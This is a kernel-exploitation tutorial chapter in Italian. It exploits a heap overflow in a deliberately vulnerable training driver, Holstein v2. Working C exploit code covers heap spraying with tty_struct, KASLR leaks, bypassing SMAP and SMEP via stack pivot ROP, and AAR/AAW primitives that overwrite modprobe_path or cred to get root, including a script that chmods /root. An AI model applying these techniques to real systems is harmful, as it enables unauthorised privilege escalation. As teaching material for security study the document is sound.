Nel capitolo precedente abbiamo ottenuto privilegi elevati sfruttando uno Stack Overflow nel modulo Holstein. Lo sviluppatore ha corretto rapidamente la vulnerabilità e ha pubblicato Holstein v2. In questo capitolo vedremo come exploitare anche la nuova versione.

Analisi della patch e studio della vulnerabilità

Per prima cosa scarica Holstein v2.
Se confronti il sorgente con la versione precedente, noterai che sono cambiati solo module_read e module_write:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
static ssize_t module_read(struct file *file,
char __user *buf, size_t count,
loff_t *f_pos)
{
printk(KERN_INFO "module_read called\n");

if (copy_to_user(buf, g_buf, count)) {
printk(KERN_INFO "copy_to_user failed\n");
return -EINVAL;
}

return count;
}

static ssize_t module_write(struct file *file,
const char __user *buf, size_t count,
loff_t *f_pos)
{
printk(KERN_INFO "module_write called\n");

if (copy_from_user(g_buf, buf, count)) {
printk(KERN_INFO "copy_from_user failed\n");
return -EINVAL;
}

return count;
}

Non viene più usata una variabile locale sullo stack: adesso il driver legge e scrive direttamente g_buf. Il controllo sulla dimensione, però, continua a mancare, quindi l’overflow esiste ancora. Solo che questa volta è uno heap overflow.
g_buf viene allocato in module_open:

1
g_buf = kmalloc(BUFFER_SIZE, GFP_KERNEL);

BUFFER_SIZE vale 0x400. Proviamo quindi a scriverne di più:

1
2
3
4
5
6
7
8
9
10
11
12
int main() {
int fd = open("/dev/holstein", O_RDWR);
if (fd == -1)
fatal("/dev/holstein");

char buf[0x500];
memset(buf, 'A', 0x500);
write(fd, buf, 0x500);

close(fd);
return 0;
}

Se esegui il programma, probabilmente non succedera nulla di evidente:

lo heap overflow non provoca subito un crash

Per capire perché, dobbiamo fare un passo indietro e guardare come funziona l’heap del kernel Linux.

Slab allocator

Anche nel kernel capita spesso di dover allocare aree più piccole della dimensione di pagina. L’approccio più semplice sarebbe usare pagine intere come con mmap, ma sarebbe uno spreco enorme. Per questo, accanto a kmalloc, il kernel usa una famiglia di allocator chiamata slab allocator.
In Linux i tre modelli principali sono SLAB, SLUB e SLOB. Non sono del tutto indipendenti, ma dal punto di vista dell’exploit ci interessano soprattutto due domande:

  • da dove viene servita un’allocazione di una certa dimensione
  • come vengono gestiti e riutilizzati gli oggetti liberati

Allocatore SLAB

SLAB è il modello storico, usato per esempio anche in Solaris.
L’implementazione principale si trova in /mm/slab.c.

Le sue caratteristiche principali sono:

  • Pagine diverse in base alla dimensione
    A differenza del malloc userland, gli oggetti vengono serviti da page frame diversi a seconda della size class. Per questo non ci sono campi size immediatamente prima o dopo il chunk.
  • Uso di cache
    Le allocazioni piccole vengono soddisfatte prima dalle cache della size class. Solo se la cache non basta si passa all’allocazione “normale”.
  • Gestione delle zone libere tramite bitmap
    Ogni pagina mantiene un insieme di bit che indicano quali slot interni sono liberi. Non usa linked list come molti allocator userland.

In sintesi, lo spazio liberato è tracciato per indice all’interno di ogni pagina:

schema dell'allocatore SLAB

In pratica esistono anche alcune entry in cache che puntano direttamente a oggetti già liberati, e quelle vengono preferite.
SLAB offre inoltre varie opzioni di debug impostabili tramite i flag usati in __kmem_cache_create, per esempio:

  • SLAB_POISON: riempie gli oggetti liberati con 0xA5
  • SLAB_RED_ZONE: aggiunge una redzone dopo l’oggetto, utile per rilevare heap overflow

Allocatore SLUB

SLUB è l’allocatore predefinito nei kernel moderni ed è ottimizzato per sistemi grandi, dove la velocità conta.
La sua implementazione principale si trova in /mm/slub.c.

Le sue caratteristiche principali sono:

  • Page frame separati per size class
    Come in SLAB, oggetti di dimensioni diverse vengono allocati da pool diversi. Per esempio 100 byte finiscono tipicamente in kmalloc-128, 200 byte in kmalloc-256. A differenza di SLAB, i metadati non stanno all’inizio della pagina.
  • Gestione delle aree libere tramite lista singolarmente concatenata
    Gli oggetti liberati vengono collegati con un semplice freelist, in modo analogo a tcache o fastbin in libc. Non ci sono particolari protezioni contro la corruzione dei puntatori della lista.
  • Cache per CPU
    Anche qui esistono cache locali per CPU, anch’esse implementate come liste semplici.

Lo schema generale è il seguente:

schema dell'allocatore SLUB

SLUB può attivare varie funzioni di debug tramite il parametro di boot slub_debug:

  • F: sanity check
  • P: riempimento di pattern nelle aree liberate
  • U: registrazione dello stack trace di allocazioni e free
  • T: logging dell’uso di una specifica slab cache
  • Z: redzone dietro gli oggetti

In questo capitolo, e in buona parte dei successivi, il target usa proprio SLUB. Attacchi che puntano a rompere direttamente il freelist sono in genere poco pratici in ambienti reali, dato che l’heap del kernel è condiviso da moltissimi componenti, quindi qui non li tratteremo. Molte tecniche più utili, invece, restano valide anche su altri allocator.

Allocatore SLOB

SLOB è pensato per sistemi embedded e minimizza il footprint.
Il riferimento principale è /mm/slob.c.

Le sue caratteristiche sono:

  • Allocator in stile K&R
    Come un vecchio malloc, ritaglia blocchi da una zona più grande senza separazione stretta per size class. Questo lo rende molto soggetto a frammentazione.
  • Zone libere gestite tramite offset
    Invece di mantenere liste separate per dimensione come in glibc, gli oggetti liberati vengono concatenati insieme tramite campi che memorizzano size e offset del blocco successivo.
  • Freelist multiple per dimensione
    Per ridurre la frammentazione ci sono comunque alcune liste organizzate per fasce di dimensione.

Il risultato è uno schema simile al seguente:

schema dell'allocatore SLOB

Sfruttare lo Heap Overflow

Ora che abbiamo un minimo di contesto sugli allocator, torniamo a SLUB.

Come spiegato nel capitolo introduttivo, l’heap del kernel è condiviso fra driver e core kernel. Questo significa che una vulnerabilità in un driver può corrompere oggetti allocati da tutt’altro codice.
Nel nostro caso abbiamo uno heap overflow, quindi per exploitare la situazione serve un oggetto interessante allocato subito dopo il buffer vulnerabile.

La tecnica naturale qui è l’heap spray, che ha due obiettivi:

  1. consumare il freelist già esistente della size class
    se gli oggetti arrivano dal freelist, non hai garanzia che finiscano adiacenti al buffer vulnerabile
  2. far finire gli oggetti bersaglio accanto al buffer vulnerabile
    una volta svuotato il freelist, conviene comunque riempire bene lo spazio attorno all’oggetto vulnerabile

Il passo successivo è scegliere un oggetto della dimensione giusta. Dal sorgente di Holstein sappiamo che il buffer allocato ha size 0x400:

1
#define BUFFER_SIZE 0x400

Questa dimensione corrisponde a kmalloc-1024. Di conseguenza anche l’oggetto che vogliamo corrompere deve appartenere, in pratica, alla stessa size class. Per orientarti, puoi consultare anche questa raccolta di oggetti utili per size class.[1]

Per kmalloc-1024, un buon candidato è tty_struct. La struttura è definita in tty.h e contiene lo stato interno di un TTY:

1
2
3
4
5
6
7
8
struct tty_struct {
int magic;
struct kref kref;
struct device *dev; /* class device or NULL (e.g. ptys, serdev) */
struct tty_driver *driver;
const struct tty_operations *ops;
int index;
...

tty_operations è una function table: se riusciamo a corrompere il puntatore ops, possiamo pilotare l’esecuzione del kernel.
Per far allocare un tty_struct basta aprire /dev/ptmx:

1
int ptmx = open("/dev/ptmx", O_RDONLY | O_NOCTTY);

Ogni chiamata a read, write, ioctl e simili su quel file descriptor finira per invocare una delle funzioni puntate da tty_operations.

Exploit via ROP

Abbiamo tutto quello che ci serve: iniziamo a costruire l’exploit.

Verifica dello heap overflow

Prima controlliamo in gdb che lo heap overflow avvenga davvero e che lo spray funzioni come previsto. Il programma di test seguente apre molti ptmx, poi il device vulnerabile, poi altri ptmx, così da aumentare la probabilità di trovarci tty_struct subito prima e dopo g_buf.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
int main() {
int spray[100];
for (int i = 0; i < 50; i++) {
spray[i] = open("/dev/ptmx", O_RDONLY | O_NOCTTY);
if (spray[i] == -1)
fatal("/dev/ptmx");
}

// Alloca l'oggetto vulnerabile in mezzo ai tty_struct
int fd = open("/dev/holstein", O_RDWR);
if (fd == -1)
fatal("/dev/holstein");

for (int i = 50; i < 100; i++) {
spray[i] = open("/dev/ptmx", O_RDONLY | O_NOCTTY);
if (spray[i] == -1)
fatal("/dev/ptmx");
}

// Heap Buffer Overflow
char buf[0x500];
memset(buf, 'A', 0x500);
write(fd, buf, 0x500);

getchar(); // pausa

close(fd);
return 0;
}

Disattiva KASLR, controlla /proc/modules, agganciati con gdb e metti un breakpoint in write subito dopo il punto in cui viene caricato l’indirizzo di g_buf.

punto in cui mettere il breakpoint

Se osservi il buffer e gli oggetti vicini, vedrai una sequenza di strutture molto simili:

verifica dello heap spray con gdb

Quelli sono proprio i tty_struct sprayati. Dopo il write fuori limite, il tty_struct subito successivo a g_buf risulta corrotto:

corruzione del tty_struct adiacente

Bypass di KASLR

Nella prima versione di Holstein abbiamo aggirato una mitigazione alla volta. Questa volta puntiamo direttamente a una configurazione più realistica: KASLR, SMAP, SMEP e KPTI tutti attivi. Per il debug, naturalmente, tieni KASLR spento.

Il vantaggio di questa vulnerabilità è che ci permette sia di scrivere sia di leggere. Se leggiamo il tty_struct corrotto, possiamo usare uno dei suoi puntatori per ricavare il base address del kernel. Un candidato immediato è il campo ops, che si trova a offset 0x18 dall’inizio della struttura.

1
2
3
4
5
6
7
8
#define ofs_tty_ops 0xc38880
unsigned long kbase;
...
// Bypass di KASLR
char buf[0x500];
read(fd, buf, 0x500);
kbase = *(unsigned long*)&buf[0x418] - ofs_tty_ops;
printf("[+] kbase = 0x%016lx\n", kbase);

Bypass di SMAP: controllo di RIP

Ora sappiamo il base address del kernel. Potrebbe sembrare sufficiente sovrascrivere ops, ma in realtà ops non è una singola funzione: è una tabella di function pointer. Per controllare RIP dobbiamo farlo puntare a una falsa function table.
Se SMAP fosse disattivato, potremmo mettere la tabella finta in userland e scrivere il suo indirizzo dentro ops. Ma con SMAP attivo il kernel non può leggere dati da userland liberamente.

La soluzione è costruire la tabella falsa direttamente in kernel heap. Per farlo, prima serve leakare un indirizzo heap. Osservando tty_struct in gdb, si notano diversi puntatori che sembrano indirizzi heap:

interno del tty_struct

In particolare, il puntatore a offset 0x38 punta dentro la struttura stessa.[2]
Da quel leak possiamo risalire all’indirizzo del tty_struct e, sottraendo 0x400, ottenere l’indirizzo di g_buf. A quel punto basta usare g_buf come zona controllata in kernel heap: ci scriviamo la function table finta e poi cambiamo ops del tty_struct per farlo puntare lì.
Dato che non sappiamo quale tra i tty_struct sprayati sia quello corrotto, invocheremo l’operazione su tutti i file descriptor. Per capire quale slot della function table corrisponde alla funzione chiamata da ioctl, iniziamo con valori finti facilmente riconoscibili.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
// Leak dell'indirizzo di g_buf
g_buf = *(unsigned long*)&buf[0x438] - 0x438;
printf("[+] g_buf = 0x%016lx\n", g_buf);

// Scrive una falsa function table
unsigned long *p = (unsigned long*)&buf;
for (int i = 0; i < 0x40; i++) {
*p++ = 0xffffffffdead0000 + (i << 8);
}
*(unsigned long*)&buf[0x418] = g_buf;
write(fd, buf, 0x420);

// Controllo di RIP
for (int i = 0; i < 100; i++) {
ioctl(spray[i], 0xdeadbeef, 0xcafebabe);
}

Se tutto va bene, il crash mostrerera che RIP finisce davvero su uno dei valori della tabella falsa:

controllo di RIP tramite la sovrascrittura del tty_struct

Nel nostro caso il crash avviene a 0xffffffffdead0c00, quindi capiamo anche che la voce usata da ioctl è la numero 12 della tabella.

Bypass di SMEP: stack pivot

Una volta che controlliamo RIP, possiamo tornare al ragionamento già visto con la kROP del capitolo precedente.
Se SMEP fosse assente, basterebbe ret2user. Ma con SMEP attivo dobbiamo pivotare lo stack verso una ROP chain valida. Un gadget del tipo seguente sarebbe perfetto:

1
0xffffffff81516264: mov esp, 0x39000000; ret;

Se in userland abbiamo già fatto mmap a 0x39000000 e ci abbiamo scritto sopra una ROP chain, quel gadget la eseguirebbe.
Qui però SMAP è attivo, quindi una chain in user space non è praticabile. Fortunatamente abbiamo appena leakato un indirizzo di kernel heap controllabile. Possiamo scrivere sia la falsa function table sia la ROP chain in g_buf.

Per eseguire la chain dal kernel heap dobbiamo spostare RSP su quell’area. Nell’esempio di prima chiamavamo:

1
ioctl(spray[i], 0xdeadbeef, 0xcafebabe);

Dal crash log si vede che gli argomenti di ioctl finiscono in vari registri:

1
2
3
4
5
6
RCX: 00000000deadbeef
RDX: 00000000cafebabe
RSI: 00000000deadbeef
R08: 00000000cafebabe
R12: 00000000deadbeef
R14: 00000000cafebabe

Quindi, se passiamo a ioctl l’indirizzo della ROP chain e troviamo un gadget che faccia mov rsp, rcx; ret; o equivalente, possiamo eseguire la chain dall’heap.

Lupetto

Le syscall come `read` e `write` spesso non sono comode per uno stack pivot verso il kernel heap, perché validano l'indirizzo del buffer o la lunghezza prima di arrivare davvero al callback del driver.

Gadget semplici del tipo mov rsp, rcx; ret; non sono così comuni. Di solito è più facile trovare qualcosa di più contorto, per esempio:

1
0xffffffff813a478a: push rdx; mov ebp, 0x415bffd9; pop rsp; pop r13; pop rbp; ret;

Verifichiamo intanto di arrivare alla chain. Se il primo valore della ROP chain è 0xffffffffdeadbeef, un crash lì conferma che lo stack pivot ha funzionato:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
// Scrive la falsa function table
unsigned long *p = (unsigned long*)&buf;
p[12] = rop_push_rdx_mov_ebp_415bffd9h_pop_rsp_r13_rbp;
*(unsigned long*)&buf[0x418] = g_buf;

// Prepara la ROP chain
p[0] = 0xffffffffdeadbeef;

// Heap Buffer Overflow
write(fd, buf, 0x420);

// Controllo di RIP
for (int i = 0; i < 100; i++) {
ioctl(spray[i], 0xdeadbeef, g_buf - 0x10); // sottrae lo spazio per r13 e rbp
}

Elevazione di privilegi

A questo punto non resta che comporre la chain vera e propria. Tieni solo presente che p[12] è occupato dal function pointer usato per il pivot, quindi va saltato oppure la tabella finta va posizionata un po’ più avanti.

Scegli l’impostazione che preferisci e scrivi la ROP. Se è corretta, dovresti ottenere privilegi root anche con KASLR, SMAP, SMEP e KPTI tutti attivi.
Un esempio completo si trova qui.

elevazione di privilegi riuscita

Exploit via AAR/AAW

Nel percorso precedente abbiamo usato un gadget di stack pivot abbastanza fortunato. Ma non è affatto detto che ce ne sia sempre uno comodo. Cosa fare se non riusciamo a pivotare lo stack?

In situazioni come questa esiste una tecnica molto robusta basata sulla creazione di primitive AAR/AAW a partire dal controllo di RIP tramite function pointer.Qui c’è un esempio classico.
Ricordiamo lo stato dei registri quando forziamo la chiamata via ioctl:

1
2
3
4
5
6
7
8
ioctl(spray[i], 0xdeadbeef, 0xcafebabe);

RCX: 00000000deadbeef
RDX: 00000000cafebabe
RSI: 00000000deadbeef
R08: 00000000cafebabe
R12: 00000000deadbeef
R14: 00000000cafebabe

Siccome il controllo di RIP avviene tramite una call, se saltiamo a un gadget che termina con ret, il kernel tornera normalmente da ioctl a userland. Questo rende molto utili gadget brevissimi.

Per esempio, con:

1
0xffffffff810477f7: mov [rdx], rcx; ret;

possiamo scrivere 4 byte arbitrari all’indirizzo controllato da rdx, usando come valore il contenuto di ecx. Otteniamo quindi una primitive di arbitrary address write.

Con un gadget del tipo:

1
0xffffffff8118a285: mov eax, [rdx]; ret;

possiamo invece leggere 4 byte da un indirizzo arbitrario e riceverli come valore di ritorno di ioctl. Otteniamo una primitive di arbitrary address read.

Che cosa si può fare con AAR/AAW in kernel space?

modprobe_path e core_pattern

In più punti il kernel vuole eseguire programmi userland con privilegi elevati. Per farlo usa spesso call_usermodehelper.
Fra i percorsi invocabili da un utente non privilegiato, due bersagli classici sono modprobe_path e core_pattern.

modprobe_path è la stringa di comando usata da __request_module.
Quando il kernel tenta di eseguire un file con permesso di esecuzione ma con un formato sconosciuto, chiama __request_module, che a sua volta invoca il programma puntato da modprobe_path. Di default il valore è /sbin/modprobe. Se lo sovrascrivi e poi fai eseguire un file con formato non valido, puoi far lanciare un comando arbitrario come root.

Similmente, core_pattern controlla il comando usato da do_coredump quando un processo crasha. Se la stringa inizia con |, il resto viene eseguito come programma. Per esempio, in Ubuntu 20.04 il valore predefinito è:

1
|/usr/share/apport/apport %p %s %c %d %P %E

Se con AAW sovrascrivi core_pattern, puoi poi far crashare volontariamente un processo e ottenere esecuzione privilegiata.

Lupetto

Gli indirizzi di molte variabili globali non sono toccati da FGKASLR, quindi queste tecniche possono restare utili anche in configurazioni più dure.

Qui useremo modprobe_path. Per prima cosa bisogna trovarne l’indirizzo. Se il kernel esporta i simboli è banale; altrimenti bisogna ricavarlo da vmlinux, per esempio cercando la stringa /sbin/modprobe.[3]

1
2
3
4
5
$ python
>>> from ptrlib import ELF
>>> kernel = ELF("./vmlinux")
>>> hex(next(kernel.search("/sbin/modprobe\0")))
0xffffffff81e38180

Con gdb puoi verificare che all’indirizzo corrispondente ci sia davvero la stringa:

1
2
pwndbg> x/1s 0xffffffff81e38180
0xffffffff81e38180: "/sbin/modprobe"

Ora costruiamo una funzione AAW32 che riscriva 4 byte per volta usando il gadget mov [rdx], rcx; ret;:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
void AAW32(unsigned long addr, unsigned int val) {
unsigned long *p = (unsigned long*)&buf;
p[12] = rop_mov_prdx_rcx;
*(unsigned long*)&buf[0x418] = g_buf;
write(fd, buf, 0x420);

// mov [rdx], rcx; ret;
for (int i = 0; i < 100; i++) {
ioctl(spray[i], val /* rcx */, addr /* rdx */);
}
}
...
char cmd[] = "/tmp/evil.sh";
for (int i = 0; i < sizeof(cmd); i += 4) {
AAW32(addr_modprobe_path + i, *(unsigned int*)&cmd[i]);
}

In questo esempio, quando il kernel provera a gestire un formato eseguibile sconosciuto, lancera /tmp/evil.sh. Prepariamo quindi quello script:

1
2
#!/bin/sh
chmod -R 777 /root

Infine creiamo un file con formato invalido ma eseguibile e avviamolo:

1
2
3
4
5
system("echo -e '#!/bin/sh\nchmod -R 777 /root' > /tmp/evil.sh");
system("chmod +x /tmp/evil.sh");
system("echo -e '\xde\xad\xbe\xef' > /tmp/pwn");
system("chmod +x /tmp/pwn");
system("/tmp/pwn"); // invoca modprobe_path

Se l’exploit riesce, un comando arbitrario viene eseguito come root.

elevazione di privilegi tramite modprobe_path

L’exploit completo è disponibile qui.

Struttura cred

Come visto nel capitolo precedente, i privilegi di un processo sono contenuti nella struttura cred. Se troviamo la cred del processo corrente e azzeriamo gli UID/GID effettivi, otteniamo privilegi root.
La domanda diventa allora: come troviamo l’indirizzo della cred del nostro processo?

Nei kernel più vecchi esisteva un simbolo globale current_task, dal quale si poteva raggiungere direttamente task_struct e poi cred. Nei kernel moderni questo accesso passa da strutture per-CPU, quindi il percorso è meno immediato.
Con una buona AAR, però, la cosa resta fattibile. Lo heap kernel non è infinito, e se abbiamo già leakato un indirizzo heap possiamo scandagliarlo in cerca del nostro task_struct. In pseudocodice:

1
2
3
4
5
6
for (u64 p = heap_address; ; p += 4) {
u32 leak = AAR_32bit(p); // AAR
if (looks_like_cred(leak)) { // sembra una cred
memcpy(p + XXX, 0, YYY); // sovrascrive gli effective UID
}
}

Il vero problema è identificare il task_struct giusto. Guardiamo di nuovo una sua porzione:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
struct task_struct {
...
/* Process credentials: */

/* Tracer's credentials at attach: */
const struct cred __rcu *ptracer_cred;

/* Objective and real subjective task credentials (COW): */
const struct cred __rcu *real_cred;

/* Effective (overridable) subjective task credentials (COW): */
const struct cred __rcu *cred;

#ifdef CONFIG_KEYS
/* Cached requested key. */
struct key *cached_requested_key;
#endif

/*
* executable name, excluding path.
*
* - normally initialized setup_new_exec()
* - access it with [gs]et_task_comm()
* - lock it with task_lock()
*/
char comm[TASK_COMM_LEN];

...
}

Il campo interessante è comm, che contiene fino a 16 byte del nome del processo. Possiamo impostarlo con prctl(PR_SET_NAME, ...) a una stringa abbastanza riconoscibile e poi cercarla nello heap.
Se trovi comm, appena prima troverai anche i puntatori alle credenziali.

Lupetto

Questo metodo è molto comodo per exploit stabili, perché una volta ottenute primitive AAR/AAW non dipendi più da gadget o offset troppo specifici del kernel.

Mettiamo insieme i pezzi. L’AAR seguente usa il gadget mov eax, [rdx]; ret; e cachea il file descriptor sprayato corretto dopo il primo successo:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
int cache_fd = -1;

unsigned int AAR32(unsigned long addr) {
if (cache_fd == -1) {
unsigned long *p = (unsigned long*)&buf;
p[12] = rop_mov_eax_prdx;
*(unsigned long*)&buf[0x418] = g_buf;
write(fd, buf, 0x420);
}

// mov eax, [rdx]; ret;
if (cache_fd == -1) {
for (int i = 0; i < 100; i++) {
int v = ioctl(spray[i], 0, addr /* rdx */);
if (v != -1) {
cache_fd = spray[i];
return v;
}
}
} else {
return ioctl(cache_fd, 0, addr /* rdx */);
}
}

Ora cerchiamo task_struct all’indietro partendo da g_buf. In questo ambiente si trova circa 0x200000 byte prima, ma conviene lasciare un margine ampio:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
// Ricerca di task_struct
if (prctl(PR_SET_NAME, "nekomaru") != 0)
fatal("prctl");
unsigned long addr;
for (addr = g_buf - 0x1000000; ; addr += 0x8) {
if ((addr & 0xfffff) == 0)
printf("searching... 0x%016lx\n", addr);

if (AAR32(addr) == 0x6f6b656e
&& AAR32(addr+4) == 0x7572616d) {
printf("[+] Found 'comm' at 0x%016lx\n", addr);
break;
}
}

Una volta trovato comm, ricostruiamo l’indirizzo di cred usando i due DWORD immediatamente precedenti:

1
2
3
4
5
6
7
8
9
10
11
12
unsigned long addr_cred = 0;
addr_cred |= AAR32(addr - 8);
addr_cred |= (unsigned long)AAR32(addr - 4) << 32;
printf("[+] current->cred = 0x%016lx\n", addr_cred);

// Sovrascrive gli effective ID
for (int i = 1; i < 9; i++) {
AAW32(addr_cred + i*4, 0); // id=0(root)
}

puts("[+] pwned!");
system("/bin/sh");

Se tutto fila liscio, ottieni una shell root:

elevazione di privilegi sovrascrivendo la cred

In questo capitolo abbiamo visto come uno heap overflow nel kernel possa portare sia a kROP sia a primitive AAR/AAW. In pratica, una volta arrivati a uno di questi due punti, buona parte degli exploit kernel comincia ad assomigliarsi molto.


In questo capitolo abbiamo ottenuto esecuzione privilegiata riscrivendo modprobe_path.
(1) Riscrivi core_pattern e ottieni root con la stessa idea.
(2) Funzioni come orderly_poweroff e orderly_reboot eseguono rispettivamente i comandi poweroff_cmd e reboot_cmd dal kernel. Riscrivi quei comandi e poi invoca la funzione corrispondente controllando `RIP`, in modo da ottenere una shell root.

  1. Tieni presente che la dimensione esatta degli oggetti può cambiare a seconda della versione del kernel. ↩︎

  2. Si tratta di un puntatore a una lista doppiamente concatenata usata dal kernel. Strutture simili compaiono spesso in molti oggetti e sono utili per leakare indirizzi heap. ↩︎

  3. Un’altra possibilità è disassemblare una funzione che usa quella variabile e ricavarne l’indirizzo da lì. ↩︎